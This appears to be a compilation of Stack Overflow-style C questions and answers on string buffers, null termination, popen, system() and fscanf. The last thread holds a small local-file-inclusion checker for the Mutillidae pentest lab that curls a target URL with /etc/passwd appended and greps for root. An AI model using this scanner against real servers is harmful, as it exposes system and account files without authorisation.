I don't understand the behaviour of using printf() after popen(). I have a folder with these 3 files:
middle.txt
test.app
test.c
test.c is the source code of test.app:
test.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv)
{
FILE *fpipe;
char *command = "ls";
char c = 0;
char output[1000];
fpipe = popen(command, "r");
if (fpipe == 0)
{
perror("popen() error");
exit(1);
}
while (fread(&c, sizeof c, 1, fpipe))
{
strncat(output, &c, 1);
}
pclose(fpipe);
char *position;
char result[9];
position = strstr(output, "test.app");
if (position != NULL)
{
memcpy(result, position + 8, sizeof(result));
fflush(stdout);
printf("Output string: %s", result);
fflush(stdout);
}
return 0;
}
When I run test.app I obtain this ouput:
Output string: test.app test.c
Why not this?
Output string:
test.app
EDIT
Using suggestions from the comments I modified 3 lines (position + 8 is a mistake from my original source code) with these:
char output[1000] = {0};
char result[9] = {0};
memcpy(result, position, sizeof(result));
but now this is the output:
Output string: test.app
middle.txt
test.app
test.c
I modified 3 lines (by opening post) with these:
char output[1000] = {0};
char result[9] = {0};
memcpy(result, position, sizeof(result) - 1);
and now this is the output:
Output string: test.app
1 Byte presents in output was responsible of this strange behaviour. We have to pay attention with the copied size, printed buffer must be a null-terminated string
Related
I was trying to write a program that checks out if a location exists under the /home/user directory. To do that, I had to get the username with the whoami command and add the output of it to the buffer to use the locate command.
However, even though the snprintf read the whoami command, it didn't read the rest. I made a couple of searches and came to a result that NULL may not be terminated at the end of the string. Nevertheless, I couldn't find out how to terminate it manually. I am not sure what the problem is, so, here I am.
Here is the code for a better demonstration of my issue:
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <assert.h>
#include <string.h>
char *readFile(char *);
bool check();
bool check() {
char path[200] = { 0 };
snprintf(path, 200, "/home/%s/.example", readFile("whoami"));
char lll[300] = { 0 };
snprintf(lll, 300, "locate %s", path);
char *buffer = readFile(lll);
if (strcmp(buffer, path) == 0) {
return true;
} else {
return false;
}
}
char *readFile(char cmd[200]) {
char cmd1[99999] = { 0 };
system("touch cmd");
snprintf(cmd1, 99999, "%s >> cmd", cmd);
system(cmd1);
FILE *f = fopen("cmd", "rt");
assert(f);
fseek(f, 0, SEEK_END);
long length = ftell(f);
fseek(f, 0, SEEK_SET);
char *buffer = (char *)malloc(length + 1);
buffer[length] = '\0';
fread(buffer, 1, length, f);
fclose(f);
system("rm cmd");
return buffer;
}
int main() {
int x = check();
if (x == 1)
printf("There is a location like that");
else
printf("There isn't");
return 0;
}
The whoami command prints out the name of the current user, termintated by a newline. Reading back the file cmd into buffer will include that same newline character.
The path string will then be "/home/USERNAME\n/.example". Trying to execute
locate /home/USERNAME\n/.example will probably confuse the system function.
The solution should then be to strip away the last newline in readFile.
There are some problems in your readFile function:
the name is misleading, it should be runCommand or something equivalent.
you append the command output to the cmd file. This will cause unexpected results if the cmd file exists before you run your program. You should instead write:
snprintf(cmd1, 99999, "%s > cmd", cmd);
the command output probably has a trailing newline. You should trim the output.
Here is a modified version:
#include <assert.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char *readFile(const char *cmd) {
/* construct the command */
size_t size = 4 + strlen(cmd) + 1;
char *cmd1 = malloc(size);
assert(cmd1);
snprintf(cmd1, size, "%s > cmd", cmd);
/* run the command */
system(cmd1);
free(cmd1);
/* read the output file */
FILE *f = fopen("cmd", "rt");
assert(f);
fseek(f, 0, SEEK_END);
long length = ftell(f);
fseek(f, 0, SEEK_SET);
char *buffer = malloc(length + 1);
buffer[length] = '\0';
fread(buffer, 1, length, f);
fclose(f);
unlink("cmd");
/* trim trailing white space from the output */
while (length > 0 && isspace((unsigned char)buffer[length - 1])) {
buffer[--length] = '\0';
}
/* trim leading white space from the output */
size_t i = 0;
while (isspace((unsigned char)buffer[i]) {
i++;
}
if (i > 0) {
memmove(buffer, buffer + i, length - i + 1);
}
return buffer;
}
Since Linux has a shortcut for your home directory ("~"), the whole "whoami"/"getuid" mess can be avoided by just using:
char *buffer = readFile("locate ~/.example");
You will still potentially have to trim off trailing newline and/or CR characters, perhaps with:
strtok(buffer,"\r\n\t ");
Or better yet, as #chqrlie suggests below.
I have a file text file like "~/MA14.txt" with only a value 0 or 1. I need to open the text file with the System call Open, (eventually lock the file until I am reading) and check if is the value is 0 or 1. I am testing the function with a file with 0.
The problem is the function returns 48 (ascii value of zero) and not the 0.
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <fcntl.h>
#include <string.h>
int get_permission(char *file_path_name);
int main() {
char cwd[1024];
if (getcwd(cwd, sizeof(cwd)) != NULL)
fprintf(stdout, "Current working dir: %s\n", cwd);
else
perror("getcwd() error");
char str[80];
strcpy(str, cwd);
strcat(str, "/");
strcat(str, "MA14");
strcat(str, ".txt");
printf("String obtained on concatenation: %s\n", str);
int permission = get_permission(str);
printf("permission is: %d\n", permission);
return 0;
}
int get_permission(char *file_path_name){
char c;
size_t nbytes;
nbytes = sizeof(c);
int fd = open(file_path_name, O_RDONLY | O_EXCL);
read(fd, &c, nbytes);
printf("c = % d\n", c);
close(fd);
return c;
}
Current working dir: ~/cmake-build-debug
String obtained on concatenation: ~cmake-build-debug/MA14.txt
c = 48
permission is: 48
Process finished with exit code 0
The code that you provided has three error and for this you can't get the wanted result.
The first error is in function declaration because the return type has to be char.
char get_permission(char *file_path_name);
The second is when you print the value of c in get_permission because printf has to print a char [%c] not an integer [%d].
printf("c = %c\n", c);
The third is in main function because you have to adjust types knowing what we said above.
int permission = get_permission(str);
printf("permission is: %c\n", permission);
I repost the corrected code.
I hope you find it useful.
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <fcntl.h>
#include <string.h>
char get_permission(char *file_path_name);
int main() {
char cwd[1024];
if (getcwd(cwd, sizeof(cwd)) != NULL)
fprintf(stdout, "Current working dir: %s\n", cwd);
else
perror("getcwd() error");
char str[80];
strcpy(str, cwd);
strcat(str, "/");
strcat(str, "MA14");
strcat(str, ".txt");
printf("String obtained on concatenation: %s\n", str);
int permission = get_permission(str);
printf("permission is: %c\n", permission);
return 0;
}
char get_permission(char *file_path_name){
char c;
size_t nbytes;
nbytes = sizeof(c);
int fd = open(file_path_name, O_RDONLY | O_EXCL);
read(fd, &c, nbytes);
printf("c = %c\n", c);
close(fd);
return c;
}
You have 2 options in the comments and I have a third one. The options are:
Subtract '0' to obtain the integer value.
Return c == '1'
Store the value as binary in the first place:
char c = 0; // Note this is the integer, not '0'
write(fd, &c, 1);
I would not advice the third option though. For what seems to be your use case, it is common practice to keep the file in text format (ASCII) so you can read it in a text editor for troubleshooting. So use either of the first 2 options.
I have an archive results.csv and I need to read the first line of this archive and print it out on output.txt. Somehow it's printing random characters after everything and I couldn't figure out what is wrong.
Command: a.c results.csv
First line:
date,home_team,away_team,home_score,away_score,tournament,city,country,neutral
output.txt: date,home_team,away_team,home_score,away_score,tournament,city,country,neutral,(!£,(!£,(!£,(!£,(!£,#,£,(!£,(!£
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <string.h>
typedef struct
{
char *line1;
char *line1a;
char *line1b;
char *team1;
char *team2;
char *reason;
char *city;
char *country;
char *neutral_field;
}data;
void open_input(char *argv[], FILE **input)
{
if((*input=fopen(argv[1], "r")) == NULL)
{
printf("%s not found\n", argv[1]);
exit(1);
}
}
void open_output(char *string, FILE **output)
{
if((*output=fopen(string, "w")) == NULL)
{
printf("%s not found\n", string);
exit(1);
}
}
void alloc_data(data *d, int size)
{
d->line1 = (char*)malloc(4*sizeof(char));
d->team1 = (char*)malloc(9*sizeof(char));
d->team2 = (char*)malloc(9*sizeof(char));
d->line1a = (char*)malloc(10*sizeof(char));
d->line1b = (char*)malloc(10*sizeof(char));
d->reason = (char*)malloc(10*sizeof(char));
d->city = (char*)malloc(4*sizeof(char));
d->country = (char*)malloc(7*sizeof(char));
d->neutral_field = (char*)malloc(7*sizeof(char));
}
void store(data *d, FILE *input, FILE **output)
{
fscanf(input, "%s,%s,%s,%s,%s,%s,%s,%s,%s", d[0].line1, d[0].team1, d[0].team2, d[0].line1a, d[0].line1b, d[0].reason, d[0].city, d[0].country, d[0].neutral_field );
fprintf(*output, "%s,%s,%s,%s,%s,%s,%s,%s,%s\n", d[0].line1, d[0].team1, d[0].team2, d[0].line1a, d[0].line1b, d[0].reason, d[0].city, d[0].country, d[0].neutral_field );
}
int main(int argc, char *argv[])
{
FILE *input;
FILE *output;
char *string = "output.txt";
int size = 1000;
open_input(argv, &input);
open_output(string, &output);
data *d;
d = (data*)malloc(size*sizeof(data));
alloc_data(d, size);
store(d, input, &output);
free(d);
return 0;
}
fscanf(input, "%s,%s,%s,%s,%s,%s,%s,%s,%s", d[0].line1, d[0].team1,...
The above code tries to read the whole line in to d[0].line1 which causes buffer overflow. team1 and the rest will contain uninitialized data.
You have to change fscanf as follows:
fscanf(input, "%3[^ ,\n\t],%9[^ ,\n\t],...
Where 3 is 4 - 1, and 4 is the size of d[0].line1
Alternatively you can use strtok
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void store(FILE *input, FILE *output)
{
char buf[500];
while(fgets(buf, sizeof(buf), input))
{
//strip end-of-line from `buf`
if(strlen(buf))
if(buf[strlen(buf) - 1] == '\n')
buf[strlen(buf) - 1] = 0;
//tokenize with strtok
char *token = strtok(buf, ",");
while(token)
{
fprintf(output, "%s", token);
token = strtok(NULL, ",");
}
fprintf(output, "\n");
}
}
int main(int argc, char *argv[])
{
FILE *input = fopen("input.txt", "r");
FILE *output = fopen("output.txt", "w");
store(input, output);
return 0;
}
With above code you don't need an additional structure.
If you do use a structure for data, you have to be more careful. It seems you are trying to create an array of 1000 data, but the following only creates one oversized pointer, not an array of data
int size = 1000;
data *d;
d = (data*)malloc(size*sizeof(data));
alloc_data(d, size);
Additionally, for each malloc there should be a corresponding free.
Your buffers aren't big enough to hold the terminating NUL byte. scanf stores that NUL byte (overrunning the buffer), but then the object that really owns that byte may overwrite it, so when printf looks for the NUL it doesn't find it until much later in memory.
The buffer overruns are a bigger problem than what you've seen, who knows what objects those NUL bytes you didn't make space for are smashing? And what happens when you read a data file with slightly different header spelling? Suddenly your hard-coded allocations sizes will be even more wrong than they are already.
file1
:once:echo Hello # this is a comment
:once:echo 1
:once:echo 2
:once:echo 3
:once:echo 4
Consider the file above, If I wanted to print out each line one by one how would I remove the "# this is a comment" and ':once:'
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
FILE *file = fopen(argv[1], "r");
char buf[100];
char p;
while (fgets(buf, sizeof(buf), file)) {
if ((p = strchr(buf, '#')))
*p = '\0';
printf("%s\n", buf);
}
fclose(file);
}
I think I can use strchr to remove the comments but unsure how to go about this.
I want the output to be this
$ gcc -Wall a.c
$ ./a.out file1
echo Hello
echo 1
echo 2
echo 3
echo 4
Current output:
:once:echo Hello # This is a comment
:once:echo 1
:once:echo 2
:once:echo 3
:once:echo 4
Unsure why the extra space is there. I think I have the right approach with the strchr just unsure how to use.
You should change char p; to char *p;, otherwise this is not going to work at all. If you're looking for :once: only at the start of a line, you can use strncmp() to check the first six characters, and offset the start of the string if necessary.
Also, since fgets() retains line break characters, you may as well add \n and \0 when you encounter a # symbol, and then leave out the \n when printing each line. That way your output won't be filled with double line breaks.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
FILE *file = fopen(argv[1], "r");
char buf[100];
char *p;
while (fgets(buf, sizeof(buf), file)) {
if ((p = strchr(buf, '#'))) {
*(p++) = '\n';
*p = '\0';
}
printf("%s", buf + (strncmp(buf, ":once:", 6) == 0 ? 6 : 0));
}
fclose(file);
}
This should work for you. I added a nested for inside of the while, to loop through buf and check for the '#' hash character. You should always be sure to check if the necessary file exists or not, instead of assuming that it does.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
FILE *file;
if (!(file = fopen(argv[1], "r"))) {
fprintf(stderr, "The specified file does not exist\n");
return 1;
}
char buf[100];
int x;
while (fgets(buf, sizeof(buf), file)) {
for (x = 0; x < sizeof(buf); x++) {
if (buf[x] == '#')
buf[x] = '\0';
}
if (strncmp(buf, ":once:", 6) == 0)
printf("%s\n", buf + 6);
else
printf("%s\n", buf);
}
fclose(file);
return 0;
}
This is a pentesting laboratory environment called "Mutillidae".
This program grabs argv[1] and places into command "curl <[argv[1]>",
then it grabs a line from lfi_test file and places it into second
%s in sprintf(). This program executes %100, I am just having issues with the format( | grep root). Instead, the entire source code is revealed including the entire /etc/passwd file.
If I uncomment line #20:
int passwd = "/etc/passwd";
and change line #27 to
sprintf(url,"/usr/bin/curl %s%s", argv[1], passwd);
I am able to get the formatted result I want.
If anyone can help me out, thank you in advance.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[])
{
printf("\nlfi_check searches for system files on a vulnerable URL\n");
printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");
if (argc != 2)
{
printf("\nusage ./lfi_check http://target.php?page= \n");
}
else
{
char url[200];
int i;
FILE *fp;
char line[200];
char *root = "| grep root"
// char *passwd = "/etc/passwd";
fp = fopen("/home/freshnuts/pentest/lfi_rfi/lfi_test","r+");
for (i=0; i <= 1; i++)
{
fgets(line,sizeof(line), fp);
sprintf(url,"/usr/bin/curl %s%s %s", argv[1], line-1, root);
// printf("%s", line);
system(url);
}
}
}
The reason line-1 wasn't working in..
sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line-1, root);
was due to line(/etc/passwd\n) from file was being cut by 1 and
it didn't allow char *root variable to be implemented into string format.
The function strtok() breaks line into a series of tokens using a delimiter. I was then able to parse "/etc/passwd\n" to "/etc/passwd" BEFORE sprintf().
Thanks DUman & immibis
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[])
{
printf("\nlfi_check searches for system files on a vulnerable URL\n");
printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");
if (argc != 2)
{
printf("\nusage ./lfi_check http://target.php?page= \n");
}
else
{
char url[4096];
int i;
FILE *fp;
char line[200];
char *root = " | grep root";
fp = fopen("/root/freshnuts/pentest/lfi_rfi/lfi_test","r+");
for (i=0; i <= 2; i++)
{
fgets(line,sizeof(line), fp);
strtok(line, "\n");
sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line,root);
system(url);
}
}
}